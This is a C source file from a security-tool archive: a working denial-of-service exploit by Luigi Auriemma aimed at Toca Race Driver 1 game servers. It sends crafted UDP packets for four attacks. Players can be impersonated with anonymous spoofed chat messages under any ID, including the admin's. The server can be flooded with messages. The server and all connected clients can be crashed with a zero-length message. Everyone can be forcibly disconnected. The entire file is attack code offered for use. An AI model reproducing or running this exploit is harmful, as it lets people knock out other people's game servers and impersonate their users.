home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
games
/
tocaracedriver
/
rdboom.c
< prev
Wrap
C/C++ Source or Header
|
2005-02-12
|
11KB
|
350 lines
/*
by Luigi Auriemma
This source is covered by GNU/GPL
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "rdcksum.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 10200
#define TIMEOUT 4
#define SIGN "\x05\x02\x00\x00"
#define NICK "Fake_player"
#define MSGHDR "\x42\x00\x00" \
"\x14" \
"\x00\xFF" \
"\x00" \
"\x00\x00\x00\x00"
#define SNDRCV(x,y) \
if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, plen) \
< 0) std_err(); \
if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, probably the server is not online, it is not a Race\n" \
" Driver 1 game or more probably it uses a version different by that\n" \
" specified by you.\n" \
" Try to use a different version option (-v)\n", stdout); \
close(sd); \
exit(1); \
} \
if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &plen) \
< 0) std_err(); \
fputc('.', stdout);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
port = PORT,
i,
msglen,
plen;
u_char *buff,
rd1[] =
"\x45"
"\x00\x00" /* checksum */
"\x00\x00\x00\x00" /* source IP */
"\xff\xff\x00\x00" /* pck ID */
SIGN, /* Race Driver sign */
rd2[] =
"\xC8\x00\x00\x00\x00"
SIGN
"\x00\xA0\x0F\x00\x00\xA0\x0F"
"\x00\x00\x0B\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00" /* password */
"\x00\x00\x00\x00\x00\x00\x00\x00",
rd3[] =
"\x50\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00",
crash[] =
"\x42\x00\x00"
"\x14" /* event = message */
"\x00\xFF\x00"
"\x00\x00\x00\x00", /* length of the message, 0 = crash */
disc1[] =
"\xD7\x00\x00\x00\x00\x01\x00\x00"
"\x17\xFE\xFE"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00",
disc2[] =
"\x42\x00\x00"
"\x05" /* event = leave race */
"\x00\xFF\x00",
*msg = 0,
attack = 0,
id = 0,
version = 10;
setbuf(stdout, NULL);
fputs("\n"
"Toca Race Driver 1 multiple DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s [options] <attack> <server>\n"
"\n"
"Options:\n"
"-p PORT destination port (default %d)\n"
"-v NUM version of the game to attack:\n"
" 10 = version 1.20 (latest retail patch, DEFAULT)\n"
" 11 = version 1.1 (both demo and first retail)\n"
" other = customizable version, for possible future patches\n"
"\n"
"Attack options (needed):\n"
"-m ID MSG fake message, the server receives a message from a specific user\n"
" identified by ID. The administrator has ever ID 0\n"
" Instead MSG is the message you wanna send, example: -m 0 \"I suck\"\n"
" The messages are completely anonymous, you will not compare in the\n"
" players list and the server can launch the race without problems\n"
"-f ID MSG as above but floods the server with the same message each second.\n"
" The flooding continues also during the race!\n"
"-c crashs the remote server and all the attached clients using a\n"
" message of length 0\n"
"-d Disconnects everyone in the server, admin too\n"
"\n"
"Remember you must have access to the server for using these attacks, so if the\n"
"server is protected by password you must know it\n"
"The attacks -c and -d work versus servers <= 1.20, actually doesn't exist a\n"
"patch for the game\n"
"\n", argv[0],
PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'v': version = atoi(argv[++i]); break;
case 'm': attack = -1; // little trick for -m/-f
case 'f': {
attack += 2;
id = atoi(argv[++i]);
msglen = strlen(argv[++i]);
msg = malloc(msglen + sizeof(MSGHDR) - 1);
if(!msg) std_err();
memcpy(msg, MSGHDR, sizeof(MSGHDR) - 1);
msg[6] = id;
memcpy(msg + sizeof(MSGHDR) - 5, &msglen, 4);
memcpy(msg + sizeof(MSGHDR) - 1, argv[i], msglen);
msglen += sizeof(MSGHDR) - 1;
rdcksum(msg, msglen);
} break;
case 'c': {
attack = 3;
rdcksum(crash, sizeof(crash) - 1);
} break;
case 'd': {
attack = 4;
rdcksum(disc1, sizeof(disc1) - 1);
rdcksum(disc2, sizeof(disc2) - 1);
} break;
default: {
printf("\nError: wrong command-line parameter (%s)\n", argv[i]);
exit(1);
}
}
}
if(!attack) {
fputs("\nError: you must choose an attack! Recheck the available options\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
plen = sizeof(peer);
printf("\n"
"Target: %s:%hu\n"
"Chosen version: %d\n"
"\n",
inet_ntoa(peer.sin_addr), port,
version);
rd1[13] = version;
rdcksum(rd1, sizeof(rd1) - 1);
rd2[7] = version;
rdcksum(rd2, sizeof(rd2) - 1);
rdcksum(rd3, sizeof(rd3) - 1);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
SNDRCV(rd1, sizeof(rd1) - 1);
printf("\n"
"Servername: %s\n"
"Players: %d/%d\n",
buff + 17,
buff[41], buff[37]);
// password
if(buff[33]) {
fputs("Server requires password, insert it:\n", stdout);
fflush(stdin);
fgets(rd2 + 21, 16, stdin);
rd2[17] = strlen(rd2 + 21) - 1; // last byte is 0x0a
}
SNDRCV(rd2, sizeof(rd2) - 1);
if(*buff == 8) {
switch(buff[7]) {
case 2: fputs(
"race race in progress, impossible to continue the attack\n", stdout); break;
case 3: fputs(
"full the server is full, impossible to continue the attack\n", stdout); break;
default: {
fputs("\nError: Unknown error, probably your password is wrong or you are testing a server that doesn't support this protocol\n", stdout);
} break;
}
// seems that sometimes I get a "server full" error also if the server is not full.
// Remove these comments to enable the classical errors management
// close(sd);
// exit(1);
}
if(sendto(sd, rd3, sizeof(rd3) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
switch(attack) {
case 1: {
printf("\nSpoofed message from ID %d:\n", id);
SNDRCV(msg, msglen);
} break;
case 2: {
printf("\nSpoofed messages flooding from ID %d:\n", id);
while(1) {
SNDRCV(msg, msglen);
sleep(ONESEC);
}
} break;
case 3: {
fputs("\nCrash attack:\n", stdout);
SNDRCV(crash, sizeof(crash) - 1);
if(sendto(sd, rd1, sizeof(rd1) - 1, 0, (struct sockaddr *)&peer, plen)
< 0) std_err();
fputs("- BOOM packet sent, now I check if the server is down\n", stdout);
if(timeout(sd) < 0) {
fputs("\nThe server IS vulnerable!!!\n", stdout);
} else {
fputs("\nThe server doesn't seem vulnerable\n", stdout);
}
} break;
case 4: {
fputs("\nDisconnection attack:\n", stdout);
SNDRCV(disc1, sizeof(disc1) - 1);
SNDRCV(disc2, sizeof(disc2) - 1);
} break;
}
close(sd);
fputc('\n', stdout);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif